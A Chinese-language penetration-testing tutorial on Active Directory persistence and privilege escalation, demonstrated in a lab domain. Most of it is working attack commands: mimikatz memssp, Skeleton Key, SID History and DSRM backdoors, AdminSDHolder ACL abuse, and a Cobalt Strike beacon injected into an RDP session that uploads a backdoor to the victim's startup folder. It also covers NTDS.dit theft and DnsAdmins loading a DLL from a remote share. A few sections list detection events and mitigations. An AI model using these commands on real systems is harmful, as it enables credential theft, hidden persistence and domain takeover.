通过往lsass进程注入代码来加载msv1_0.dll中的SpAcceptCredentials函数,该攻击不会在系统中留下二进制文件。但如果机器重启,被注入的代码就会失效。该攻击会在系统登录过程中将获取的明文密码存储在日志文件中。(需要注销,但是不能重启)

C:\Windows\System32\mimilsa.log

mimikatz.exe "privilege::debug" "misc::memssp" exit

//注意,很有可能会导致目标主机直接死机重启,例如Windows server 2016

lyda3et5eml12026.png

然后注销账户重新登录,在C:\Windows\System32 查看是否有mimilsa.log文件。

4nrg1odrjq012029.png

使用工具PCHunter查看lsass进程。

qaj2ojy4dps12036.png

修改注册表扩展功能

将mimikatz中的 mimilib.dll 传到目标域控的C:\windows\system32\目录下,使用dll的位数与目标操作系统保持一致。该dll有个SpLsaModeInitialize导出函数,lsass会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据,以便SSP缓存,mimikatz利用AddSecurityPackage这个API来加载SSP,这样可以在不重启的情况下添加Mimilib。当添加成功后,我们发现每次进行身份认证时,凭据信息都会被写入kiwissp.log文件中。(需要重启,并且重启之后仍有效)

默认情况下,HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages该注册表项默认值为“”。

nk1mtcdpmoy12043.png

将mimilib.dll复制到域控C:\windows\system32(放入该路径下是为了直接加载,而不用指定dll文件的路径)。

ooyojm1nydj12051.png

在注册表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages下添加mimilib.dll之后只要触发了身份认证就会记录登录密码。

修改注册表,在键值Security Packages下添加 mimilib.dll,系统重启后会记录登陆密码。i5rtara0pv012058.png

//查看注册表Security Packages的值。

reg query HKLM\System\CurrentControlSet\Control\Lsa /v "Security Packages"

//添加注册表Security Packages的值,只添加mimilib.dll也可以,每一个字符串使用 \0 进行分隔。

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ

fdhbx4p3tc012064.png

44mqob4qbxx12070.png

域控重启之后,在C:\Windows\System32路径下存在一个新的日志文件,Kiwissp.log,其中保存着明文密码。

nsdjmqar0a112075.png

痕迹特征

Windows Event 4622[需开启收集日志才会有]。
文件创建:mimilsa.log、kiwissp.log。
注册表修改:HKLM\System\CurrentControlSet\Control\Lsa\Security Packages。

eu4jbjidcpc12078.png

mimilib.dll文件也存在特征。

bnmgjbtjccw12082.png

DSRM凭据

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

bf2thicmqhd12085.png

在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

当我们已经拿下域控,使用DSRM凭据进行权限维持。DSRM就是域控机器的本地administrator账户。(域控机器的本地administrator账户是不能通过net user administrator password命令进行密码修改的,正常情况也是无法进行登录)

使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

privilege::debug

token::elevate

lsadump::sam

azq4d2f0seb12087.png

修改DSRM的登录方式

DSRM有三种登录方式,具体如下:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

1xw0rwistkp12092.png

51aa0ul2z0012096.png

privilege::Debug

sekurlsa::pth /domain:AD-1-2016 /user:administrator /ntlm:1a44db2e8b368a053202da00bc30cdba

hl3oal3dek312101.png

或者我们可以直接将DSRM账户的HASH修改成我们已经获取到明文的HASH值,这样就可以进行明文登录。

adminw 0ec4b410903c6dc7594464f27d347497 //User!@#45

将DSRM账号和adminw的NTLM Hash同步(为DSRM设置新密码),使用工具NTDSUTIL。

ntdsutil //打开ntdsutil

set DSRM password //修改DSRM的密码

sync from domain account adminw //使DSRM的密码和指定域用户的密码同步

q //退出DSRM密码设置模式

q //退出ntdsutil

r2wlkck5zny12105.png

发现已经成功修改HASH

ghlzgs1quwa12110.png

修改后可以直接在域控机器登录本地administrator账户。

dxdlgnhbmz012117.png

该账户权限与域控机器账户权限类似,可以直接使用DCSync功能导出域内HASH。

防御方法
  1. 定期检查注册表中用于控制DSRM登录方式的键值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该值为1,或者删除该键值。
  2. 定期修改域中所有域控制器的DSRM账号。
  3. 经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

万能密码

Skeleton Key 是一种专门针对 Active Directory 域的恶意软件,它使得劫持任何账户变得异常容易。该恶意软件将自身注入到 LSASS 进程中,并创建了一个适用于域中任意账户的主密码。现有的密码仍然有效,因此很难察觉到这种攻击的发生。

攻击要求

  1. 为了进行这种攻击,攻击者必须具有域管理员权限(使用DSRM中的域控本地Administrator账户也可以)。
  2. 为了完全控制,这种攻击必须在每个域控制器上执行,但即使只针对单个域控制器进行攻击也可能有效(需要在域内所有域控上执行)。
  3. 重新启动域控制器将会移除该恶意软件,并且攻击者需要重新部署它(域控重启后则无效)。

使用mimikatz在域控上执行即可,之后可以使用默认密码mimikatz作为任何用户进行认证。

privilege::debug

misc::skeleton

0nursphtgjz12121.png

这时我们在成员机进行连接。

v4t0jvxd1s012126.png

注意:如果您看到“系统错误 86 已发生。指定的网络密码不正确”消息,请尝试使用域名\账户格式作为用户名,这样应该就可以正常工作了。

如果 lsass 已经打了skeletal 补丁,那么会出现这个错误:

rkfjv4qxzgn12131.png

痕迹事件:

  • 系统事件 ID 7045 - 系统中安装了一个服务。(内核模式驱动程序类型)
  • 安全事件 ID 4673 - 敏感权限使用(必须启用“审核特权使用”)
  • 事件 ID 4611 - 一个受信任的登录过程已经在本地安全性机构注册(必须启用“审核特权使用”)

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "Kernel Mode Driver"}

这只能检测到mimidrv

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$.message -like "Kernel Mode Driver" -and $.message -like "mimidrv"}

缓解措施:

将 lsass.exe 作为受保护的进程运行,这将强制攻击者加载一个内核模式驱动程序。

New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose

重新启动后验证:

Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "protected process"}

SID History

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。在Windows操作系统中,系统使用安全标识符来唯一标识系统中执行各种动作的实体,每个用户有SID,计算机、用户组和服务同样也有SID,并且这些SID互不相同,这样才能保证所标识实体的唯一性。

SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限(或者是修改用户SIDHistory属性的权限),则可以将SID History作为实现持久化的方法。

privilege::debug

//https://blog.csdn.net/HBohan/article/details/119805869

sid::patch

//将administrator的SID添加到man06的SID History属性中,或者直接后接SID

sid::add /sam:man06 /new:administrator

注意:使用sid::patch需要有两个要求:

  1. 对域控LDAP修改过程中的验证函数进行patch,需要在域控上执行
  2. patch共分为两个步骤,如果仅第一步patch成功的话,那么可以使用sid::add功能,两步都patch成功的话才可以使用sid::modify功能。
  3. 详细可以查看https://blog.csdn.net/HBohan/article/details/119805869。

在一些情况下,只要具有修改SID History属性的权限,并不需要sid::patch就可以直接更改用户的SID History属性。

privilege::debug

//或者/new:<Administrator SID>

sid::add /sam:man06 /new:administrator

这里我们直接登录成员机的本地管理员用户

50j0eqcnz0u12134.png

使用PTH获得域管理员权限。

sekurlsa::pth /user:adminw /domain:ww1.com /ntlm:0ec4b410903c6dc7594464f27d347497

olrcpnd0tl512139.png

由于不是域控,发现sid::patch命令运行报错。

ex4zxncdk1u12147.png

这里我们获取到域控的SID,直接修改man06的SID History属性。

sid::add /sam:man06 /new:S-1-5-21-2672614020-1166804175-548711290-500

发现成功添加。

rrc1bie2c1q12156.png

Import-Module activedirectory

Get-ADUser man06 -Properties sidhistory //使用powershell查看man06的属性

qymd4u2a4ks12161.png

登录man06账户查看是否具有权限。

wletbertywe12176.png

发现成功提权,可以用于权限维持或者隐藏。

跨域安全

https://zhuanlan.zhihu.com/p/424472286

https://blog.csdn.net/hx_chong/article/details/119809022

RDP Sessions Abuse

如果外部组对当前域中的任何计算机具有RDP访问权限,攻击者可以入侵该计算机并等待用户。 一旦该用户通过RDP访问,攻击者就可以转移到该用户的会话,并滥用其在外部域中的权限。

//假设组“外部用户”在当前域中具有RDP访问权限

//让我们找出他们可以访问的位置

//最简单的方法是使用BloodHound,但你也可以运行:

Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName

//或者

Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

//然后,入侵列出的机器,并等待外部域的某个人登录:

net logons

Logged on users at \\localhost:

EXT\super.admin

//通过Cobalt Strike,你可以在RDP进程中注入一个信标(beacon)。

beacon> ps

PID PPID Name Arch Session User

--- ---- ---- ---- ------- -----

...

4960 1012 rdpclip.exe x64 3 EXT\super.admin

beacon> inject 4960 x64 tcp-local

//通过那个信标,你可以直接运行 Powerview 模块,并以该用户的身份与外部域进行交互。

如果用户通过RDP登录到一台被攻击者等待的计算机上,攻击者将能够在用户的RDP会话中注入一个信标(beacon),如果受害者在通过RDP访问时挂载了他的驱动器,攻击者就可以访问它。

在这种情况下,你可以通过在启动文件夹中写入后门来入侵受害者的原始计算机。

# Wait til someone logs in:

net logons

Logged on users at \\localhost:

EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process

beacon> ps

PID PPID Name Arch Session User

--- ---- ---- ---- ------- -----

...

4960 1012 rdpclip.exe x64 3 EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.

## \\tsclient\c is the C: drive on the origin machine of the RDP session

beacon> ls \\tsclient\c

Size Type Last Modified Name

---- ---- ------------- ----

dir 02/10/2021 04:11:30 $Recycle.Bin

dir 02/10/2021 03:23:44 Boot

dir 02/20/2021 10:15:23 Config.Msi

dir 10/18/2016 01:59:39 Documents and Settings

[...]

# Upload backdoor to startup folder

beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

beacon> upload C:\Payloads\pivot.exe

还有很多与RDP相关的利用,可以参考:

https://www.freebuf.com/articles/network/276242.html

还可以进行RDP劫持:

https://blog.csdn.net/qq_32731075/article/details/119011394

安全描述符

安全描述符包含与安全对象关联的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 结构及其关联的安全信息组成。 安全描述符可以包含以下安全信息:

  • 对象的 所有者和主组的安全标识符 (SID) 。
  • 一个 DACL ,指定允许或拒绝的特定用户或组的访问权限。
  • 一个 SACL,指定为对象生成审核记录的访问尝试的类型。
  • 一组控制位,用于限定安全描述符或其单个成员的含义。

应用程序不得直接操作安全描述符的内容。 Windows API 提供用于在对象的安全描述符中设置和检索安全信息的函数。 此外,还有用于为新对象创建和初始化安全描述符的函数。

安全描述符定义语言(SDDL)定义了描述安全描述符的格式。SDDL使用ACE字符串来表示DACL和SACL的:

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;

安全描述符用于存储对象对另一个对象的权限。如果你可以对一个对象的安全描述符进行微小的更改,你可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。 因此,这种持久性技术基于能够获得对某些对象所需的每个权限的能力,以便能够执行通常需要管理员权限但无需管理员身份的任务。

WMI 权限

使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行 WMI 的权限:

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove

WinRM权限

使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行WinRM 的权限:

Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose

Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove

转储哈希权限

使用工具DAMP访问注册表并转储哈希(hash),创建一个注册表后门,这样你可以随时检索计算机的哈希,SAM和计算机中缓存的任何AD凭据。因此,将这个权限赋予普通用户对于域控制器计算机非常有用:

https://github.com/HarmJ0y/DAMP

//允许远程检索系统的计算机和本地帐户哈希,以及其域中缓存的凭据。

Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地机器帐户哈希。

Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地SAM帐户哈希。

Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的域缓存凭据。

Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose

特权组

已知具有管理权限的组

  • Administrators
  • Domain Admins
  • Enterprise Admins

在安全评估中,还可以通过链接多个攻击向量来利用其他帐户成员资格和访问令牌权限。

Account Operators

账号操作员组,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器,但是,不能更改属于 Administrators 或 Domain Admins 组的账户,也不能修改这些组。在默认情况下,该组中没有成员。

  • 允许在域上创建非管理员帐户和组
  • 允许本地登录DC

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-NetGroupMember -Identity "Account Operators" -Recurse

ldkdcnjvuz012180.png

直接查看该用户信息

net user man06 /domain

topyey2blre12184.png

允许在域上创建非管理员帐户和组

wnscsqvjvn512187.png

允许本地登录DC

ha1s5guytup12191.png

AdminSDHolder group

AdminSDHolder对象的访问控制列表(ACL)用作将权限复制到Active Directory中的所有“受保护组”及其成员的模板。受保护组包括特权组,如域管理员、管理员、企业管理员和架构管理员。

默认情况下,此组的ACL被复制到所有“受保护组”中。这样做是为了避免对这些关键组进行有意或意外的更改。然而,如果攻击者修改了AdminSDHolder组的ACL,例如给定一个普通用户完全权限,该用户将在受保护组内的所有组上具有完全权限(在60分钟后)。

AdminSDHolder对象的目的是为域内受保护的用户和组提供权限的“模板”,其在LDAP上的路径为:

CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>

AdminSDHolder由Domain Admins组拥有,默认情况下,EA可以对任何域的AdminSDHolder对象进行更改,域的Domain Admins和Administrators组也可以进行更改。

尽管AdminSDHolder的默认所有者是域的Domain Admins组,但是Administrators或Enterprise Admins的成员可以获取该对象的所有权。

SDProp

SDProp是一个进程,该进程每60分钟(默认情况下)在包含域的PDC模拟器(PDCE)的域控制器上运行

SDProp将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较。如果任何受保护帐户和组的权限与AdminSDHolder对象的权限不匹配,则将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,这也是为什么修改了用户对AdminSDHolder组的ACL后,还需要等待60分钟的原因。

利用

既然默认每60分钟SDProp会将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,那么我们完全可以对AdminSDHolder添加ACL来留后门。

  1. 添加ACL

**使用****PowerView工具**

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=ww1,DC=com' -PrincipalIdentity man08 -Rights All

qhruuglpuqq12196.png

使用Admod工具

Admod.exe -b "CN=AdminSDHolder,CN=System,DC=ww1,DC=com" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;ww1\man08)}"

ipipb2nda1f12200.png

修改了AdminSDHolder组的ACL之后,我们发现man08用户还是不具备高权限的。

vj41rh3q5tb12203.png

因为SDProp还没有将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较并修改。这里我们可以选择等待60分钟,或者直接修改执行间隔或者直接执行进行权限提升操作。

  1. 快速的执行SDProp

修改默认时间

如果需要修改60min的执行时间间隔,只需要在注册表中添加或修改AdminSDProtectFrequency的值。

HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

该值的范围是从60到7200,单位为秒,键类型为DWORD。

可以直接使用命令行更改:

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

如果需要恢复为默认的60min,则可以在注册表中删除AdminSDProtectFrequency这一项。

也可以使用一个PowerShell脚本。

https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

手动执行

启动Ldp.exe,然后选择菜单栏中“连接”-> “连接”。

cvtmwpbpjfw12207.png

选择菜单栏菜单栏中“连接”->”绑定“。

d1d2x33gg0d12213.png

选择菜单栏菜单栏中“浏览”->“修改”。

xbyclct0vcm12220.png

在修改窗口这里针对不同版本的域控制器有不同的情况:

  • 域控为Windows Server 2008: 将“DN”字段留空。在“编辑条目属性”字段中,输入FixUpInheritance,在“值”字段中,输入Yes。单击输入填充条目列表。
  • 域控为Windows Server 2008 R2或Windows Server 2012之后的版本: 将“DN”字段留空。在“编辑条目属性”字段中,输入RunProtectAdminGroupsTask,在“值”字段中,输入1。单击输入填充条目列表。

点击“输入”->”运行“。

cfermv55hk012227.png

运行成功后,发现已经拥有了高权限。

qry0iistm4a12234.png

  1. 防御与检测

该攻击手法的核心点在于需要修改AdminSDHolder的ACL,因此我们只需要检测对AdminSDHolder的ACL的修改行为即可,可以通过5136日志来监控。

b3m1cmomzw012241.png

AD Recycle Bin

//这不是powerview命令,而是Microsoft的AD管理powershell模块中的一项功能,您需要在AD的“AD回收站”组中才能列出已删除的AD对象

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

44cv120bw0z12246.png

在Windows 2008或Windows 2003中,你必须用备份恢复的方法才能恢复一个被误删的AD对象。这个方法非常麻烦。现在,Windows 2008 R2引入一个新的功能:AD Recycle Bin。就如同普通的回收站一样,这个工具暂时保留了被删除对象,你可以随时从回收站中取回。

需要注意的几点注意事项:

  1. 这是Windows 2008 R2才有的新功能。
  2. 这个功能默认是关闭的;必须手动启动。
  3. 启用AD回收站的这个操作不可逆转(irrersible),也就是说,Enable之后不能Disable。只能通过Restore AD环境来恢复。
  4. 要启用,AD必须升级到2008 R2 level (升级AD level必须在企业管理员权限下用adprep命令)。
  5. 启用时,所有启用前被删除的AD对象都会被转换成recyled对象,在deleted objects容器中将不能找到它们。要恢复这些对象,唯一的方法就是通过AD备份的恢复,将AD环境恢复到启用之前。
  6. 启用后,删除的AD对象变成了一个Deleted对象,Delete对象可以恢复。一段时间后,Delete对象的生命周期结束,就会转变成Recycled对象,这些对象不再能被恢复。最终通过Garbage收集的方法被删除掉。

dqotwabegce12251.png

启用AD Recycle Bin的方法,参见文档

http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx

恢复AD对象,可以用Powershell命令。

这里推荐一个免费的小工具,它提供了一个很简单易用的GUI

ADRecycleBin.exe

http://www.overall.ca/index.php?option=com_docman&task=doc_download&gid=68&Itemid=11

参考连接:

What's New in AD DS: Active Directory Recycle Bin

http://technet.microsoft.com/en-us/library/dd391916(WS.10).aspx

Active Directory Recycle Bin Step-by-Step Guide

http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx

Server Operators

Server Operators是域控的本地组,其组员拥有管理域控制器的权利,例如在域控制器上登录域;建立、管理、删除域控制器上的共享文件夹与共享打印机;备份与还原文件;锁定与解开域控制器;将域控制器上的硬盘格式化;更改系统的时间;将域控制器关闭等。

此成员资格允许用户使用以下权限配置域控制器:

  • 允许本地登录
  • 备份文件和目录
  • 更改系统时间
  • 更改时区
  • 从远程系统强制关闭
  • 恢复文件和目录
  • 关闭系统
  • SeBackupPrivilege 和 SeRestorePrivilege

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#serestoreprivilege-3.1.5

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#sebackupprivilege-3.1.4

  • 控制本地服务

当用户没有加入Server Operators组时,无法访问域控的资源。

y22iuywhbra12253.png

将该用户加入Server Operators组,发现权限提升。

fibl1byj2dv12256.png

l1ikrmrmob012260.png

Get-NetGroupMember -Identity "Server Operators" -Recurse

Privesc

使用来自Sysinternals的PsService(PsTools)或sc工具来检查服务的权限。

https://learn.microsoft.com/en-us/sysinternals/downloads/psservice

C:\> .\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility

Copyright (C) 2001-2010 Mark Russinovich

Sysinternals - www.sysinternals.com

[...]

[ALLOW] BUILTIN\Server Operators

All

这确认了Server Operators组具有SERVICE_ALL_ACCESS访问权限,这使我们能够完全控制此服务。

您可以滥用此服务,使该服务执行任意命令并提升权限。

Backup Operators

与Server Operators成员身份一样,如果我们属于Backup Operators,则可以访问域控的文件系统。

j13s4j3o1db12267.png

sveqghjodet12273.png

Backup Operators组授予其成员SeBackupSeRestore特权。 SeBackupPrivilege使我们能够遍历任何文件夹并列出文件夹内容。这将让我们从文件夹中复制文件,即使没有其他权限也可以执行。

然而,为了滥用此权限来复制文件,则必须使用标志FILE_FLAG_BACKUP_SEMANTICS ****。因此需要使用特殊工具。

https://github.com/giuliano108/SeBackupPrivilege

# Import libraries

Import-Module .\SeBackupPrivilegeUtils.dll

Import-Module .\SeBackupPrivilegeCmdLets.dll

Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled

# Enable SeBackupPrivilege

Set-SeBackupPrivilege

Get-SeBackupPrivilege

# List Admin folder for example and steal a file

dir C:\Users\Administrator\

Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite

当然,也可以滥用这个访问权限来窃取活动目录数据库NTDS.dit,以获取域中所有用户和计算机对象的所有NTLM散列值。

使用diskshadow工具,您可以在C盘(或其他位置)创建一个卷影副本,例如在F盘上。然后,您可以从该卷影副本中窃取NTDS.dit文件,因为系统不会使用它。

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow

diskshadow.exe

Microsoft DiskShadow version 1.0

Copyright (C) 2013 Microsoft Corporation

On computer: DC, 10/14/2020 10:34:16 AM

DISKSHADOW> set verbose on

DISKSHADOW> set metadata C:\Windows\Temp\meta.cab

DISKSHADOW> set context clientaccessible

DISKSHADOW> set context persistent

DISKSHADOW> begin backup

DISKSHADOW> add volume C: alias cdrive

DISKSHADOW> create

DISKSHADOW> expose %cdrive% F:

DISKSHADOW> end backup

DISKSHADOW> exit

再使用上面的方法,获取访问文件的权限后,提取ntds.dit。

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

或者使用另一种方式复制文件,当然前提是SeBackupPrivilege功能为开启状态。

robocopy /B F:\Windows\NTDS .\ntds ntds.dit

reg save HKLM\SYSTEM SYSTEM.SAV

reg save HKLM\SAM SAM.SAV

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

DnsAdmins

属于DNSAdmins组或具有对DNS服务器对象的写权限的用户可以使用SYSTEM特权在DNS服务器上加载任意DLL。大部分情况下DNS服务器也是建立在域控机器上。

根据这篇文章所示,当DNS运行在域控制器上时(这是非常常见的情况),可以执行以下攻击:

  1. DNS管理是通过RPC进行的。
  2. ServerLevelPluginDll允许我们加载一个自定义的DLL,并且不验证DLL路径。可以使用命令行工具dnscmd来完成此操作。
  3. 当DnsAdmins组的成员运行下面的dnscmd命令时,注册表键将被填充。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll

  1. 当DNS服务重新启动时,将加载该路径中的DLL(例如,域控制器的机器帐户可以访问的网络共享)。
  2. 攻击者可以加载一个自定义的DLL以获取反向shell,甚至加载像Mimikatz这样的工具作为DLL来转储凭据。

如前所述,我们需要构建一个 DNS 插件 DLL,将其注入到受害者 DNS 服务器 (DC) 上的 dns.exe 进程中。

如果您在 DNSAdmins 组中有一个用户,则可以使 DNS 服务器使用 SYSTEM 特权加载任意 DLL(DNS 服务以 NT AUTHORITY\SYSTEM 运行)。您可以通过执行以下命令使 DNS 服务器加载本地或远程(通过 SMB 共享的)DLL 文件。

dnscmd是一个 Windows 实用程序,允许有DnsAdmins权限的人管理 DNS 服务器。可以通过添加DNS Server Tools到您的系统来安装该实用程序,如下面的屏幕截图所示。

rupj3e4ajhn12278.png

//dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll

//dnscmd [dc.computername] /config /serverlevelplugindll \1.2.3.4\share\DNSAdmin-DLL.dll

//注意,远程加载DLL不能使用$符号进行加载,例如\\10.10.10.10\c$\1.dll,这样是无法成功加载的。

示例DLL:https://github.com/kazkansouh/DNSAdmin-DLL

修改恶意代码为如下。

hsqun1jdatj12284.png

加载DLL。

dnscmd ad-1-2016 /config /serverlevelplugindll \\10.10.10.106\c$\Users\man12\Desktop\DNSAdmin-DLL.dll

doophb1vswy12290.png

在默认情况下在 DNSAdmin 组中具有用户,也无法停止和重新启动 DNS 服务。但您可以尝试执行如下命令。

sc.exe \\ad-1-2016 stop dns

sc.exe \\ad-1-2016 start dns

xccoacxzpdg12296.png

tj2eezi50jt12299.png

提权成功后可以清除DNSAdminis后门。

reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

sc.exe \\10.0.0.6 stop dns

sc.exe \\10.0.0.6 start dns

//remove any other traces/logs

当然,也可以使用 msfvenom 生成 dll,弹shell到目标机器,或者执行命令。

msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

mimilib.dll

正如下面这篇文章中详细描述的那样,还可以使用 Mimikatz 工具的创建者提供的 mimilib.dll 来修改 kdns.c 文件,以执行逆向 shell 或其他我们选择的命令来获取命令执行权限。

http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

rtgkupxmdwe12306.png

中间人攻击的 WPAD 记录

滥用 DnsAdmins 组权限的另一种方式是创建一个 WPAD 记录。

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks

https://learn.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps

在该组中的成员具有禁用全局查询阻止安全性的权限,而默认情况下会阻止此类攻击。Server 2008 首次引入了在 DNS 服务器上添加到全局查询阻止列表的功能。默认情况下,Web 代理自动发现协议(WPAD)和站内自动隧道寻址协议(ISATAP)在全局查询阻止列表中。这些协议非常容易被劫持,任何域用户都可以创建包含这些名称的计算机对象或 DNS 记录。

在禁用全局查询阻止列表并创建 WPAD 记录之后,使用默认设置运行 WPAD 的每台计算机的流量都将通过我们的攻击机器进行代理。我们可以使用工具如 Responder 或 Inveigh 进行流量欺骗,并尝试捕获密码哈希并在离线状态下破解,或者进行 SMBRelay 攻击。

https://github.com/lgandx/Responder

https://github.com/Kevin-Robertson/Inveigh

Event Log Readers

Event Log Readers组的成员具有访问生成的事件日志(例如新进程创建日志)的权限。在这些日志中可能包含敏感信息。让我们来看看如何可视化这些日志。

Get members of the group

Get-NetGroupMember -Identity "Event Log Readers" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"

# To find "net [...] /user:blahblah password"

wevtutil qe Security /rd:true /f:text | Select-String "/user"

# Using other users creds

wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"

# Search using PowerShell

Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Exchange Windows Permissions

Exchange Windows Permissions是指Exchange在Windows环境中的权限。成员被授予编写DACL(Discretionary Access Control List)到域对象的权限。攻击者可以滥用这一权限,赋予用户DCSync特权。

如果在AD环境中安装了Microsoft Exchange,通常会发现用户帐户甚至计算机作为该组的成员。

这个GitHub存储库解释了滥用这个组权限来提升权限的一些技术。

https://github.com/gdedrouas/Exchange-AD-Privesc

Get members of the group

Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell

